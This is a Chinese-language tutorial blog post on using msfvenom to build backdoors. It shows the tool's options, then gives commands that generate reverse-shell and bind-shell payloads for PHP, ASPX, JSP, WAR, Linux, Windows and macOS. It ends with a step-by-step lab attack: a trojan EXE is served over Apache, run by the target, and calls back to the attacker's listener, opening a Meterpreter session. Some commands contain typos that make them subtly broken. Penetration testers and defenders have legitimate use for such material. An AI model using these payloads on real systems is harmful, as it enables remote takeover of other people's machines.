msfvenom 介绍与基本使用
作者: 分类: 网络安全 发布于: 2024-07-09 11:50:57 浏览:203 评论(0)
msfvenom 介绍与基本使用
介绍
msfvenom是用来生成后门的软件,在目标机上执行后门,在本地监听上线,可以理解为一个远控木马。 MSFvenom是Msfpayload和Msfencode的组合,将这两个工具都放在一个Framework实例中。自2015年6月8日起,msfvenom替换了msfpayload和msfencode。
基本参数
msfvenom -h
MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /usr/bin/msfvenom [options] <var=val>
Example: /usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe
Options:
-l, --list <type> 列出所有可用的项目,其中值可以被设置为: payloads, encoders, nops, platforms, archs, encrypt, formats, all
-p, --payload <payload> 指定特定的 Payload,如果被设置为,那么从标准输入流中读取。几乎支持全平台
--list-options List --payload <value>'s standard, advanced and evasion options
-f, --format <format> 输出格式(–list formats: 列出所有可用的输出格式)
-e, --encoder <encoder> 指定使用的编码
--service-name <value> 生成服务二进制文件时要使用的服务名称
--sec-name <value> 生成大型Windows二进制文件时要使用的新节名称。默认值:随机4个字符的alpha字符串
--smallest 使用所有可用的编码器生成尽可能小的有效载荷
--encrypt <value> 应用于shellcode的加密或编码类型 (--list 列出所有编码)
--encrypt-key <value> --encrypt 的加密密钥
--encrypt-iv <value> --encrypt 的初始化矢量
-a, --arch <arch> 指定--payload 和 --encoders的目标系统架构 (use --list archs to list)
--platform <platform> --payload 指定的平台 (use --list platforms to list)
-o, --out <path> 保存Payload 到文件
-b, --bad-chars <list> 设置避免出现的字符如: '\x00\xff'
-n, --nopsled <length> 指定 nop 在 payload 中的数量
--pad-nops 使用-n<length>指定的nopolid大小作为总有效负载大小,自动准备数量的nopold(nops减去有效负载长度)
-s, --space <length> 未经编码的 Payload 的最大长度
--encoder-space <length> 编码Payload的最大大小 (defaults to the -s value)
-i, --iterations <count> 设置 Payload 的编码次数
-c, --add-code <path> 指定一个附加的win32 shellcode文件
-x, --template <path> 指定一个特定的可执行文件作为模板
-k, --keep 保护模板程序的功能,注入的payload作为一个新的进程运行
-v, --var-name <value> 指定用于某些输出格式的自定义变量名
-t, --timeout <second> 从STDIN读取有效负载时等待的秒数 (default 30, 0 to disable)
-h, --help 显示此消息
最常用的参数: -p ,-f ,-o,-x 和 -e 。
基本使用
生成web payload,也就是webshell
# php
msfvenom -p php/meterpreter/reverse_tcp lhost=<Your IP> lport=<Your Port> -f raw -o shell.php
# asp:
msfvenom -a x86 --platform windows -p winlows/meterpreter/reverse_tcp lhost=<Your IP> lport=<Your Port> -f aspx -o shell.aspx
# jsp:
msfvenom -p java/jsp_shell_reverse_tcp lhost=<Your IP> lport=<Your Port> -f raw > shell.jsp
# war:
msfvenom -p java/jsp_shell _reverse _tcp lhost=<Your IP> lport=<Your Port> -f war > shell.war
不同平台可执行程序
# linux:
msfvenom -p linux/x64/meterpreter/reverse tp lhost=<Your IP> lport=<Your Port> -f elf > shell.elf
msfvenom -p linux/x64/meterpreter/bind tcp lhost=<Your IP> lport=<Your Port> -f elf > shell.elf
# windows
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=<Your IP> lport=<Your Port> -f exe > shell.exe
# mac:
msfvenom -p osx/x64/meterpreter/reverse_tcp lhost=<Your IP> lport=<Your Port> -f macho > shell.macho
监听(需要进入msfconsole内)
# 快捷监听
handler -H 10.0.0.150 -P 5555 -p windows/x64/meterpreter/reverse_tcp
# 使用exploit监听
use exploit/multi/handler # 使用监听模块
set lhost <Your IP> # 设置监听ip
set lport <Your Port> # 设置监听端口
set payload windows/x64/meterpreter/reverse_tcp # 设置payload
exploit # 执行监听
攻击实例(使用kali,需要部署在公网上。本实例在虚拟机上演示)
# kali攻击机
# 1、使用msfvenom使用木马程序
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.0.0.150 lport=5555 -f exe > shell.exe
# 2、拷贝生成和程序到apache服务根目录
cp ~/shell.exe /var/www/html
# 3、进入apache服务根目录并运行apache服务
cd /var/www/html && service apache2 start
# 4、进入msfconsole控制台
msfconsole -q
# 5、开启监听
handler -H 10.0.0.150 -P 5555 -p windows/x64/meterpreter/reverse_tcp
# 目标机器
# 1、 访问攻击机apache服务下载木马程序: http://10.0.0.150/shell.exe
# 2、 运行木马程序
# 运行后可在攻击机上看到如下提示, 则表明已攻击成功
[*] Sending stage (201798 bytes) to 10.0.0.154
[*] Meterpreter session 1 opened (10.0.0.150:5555 -> 10.0.0.154:49201) at 2024-07-03 18:29:12 +0800
转载时请注明出处及相应链接。
本文永久链接: http://www.baigei.com/articles/msfvenom-usage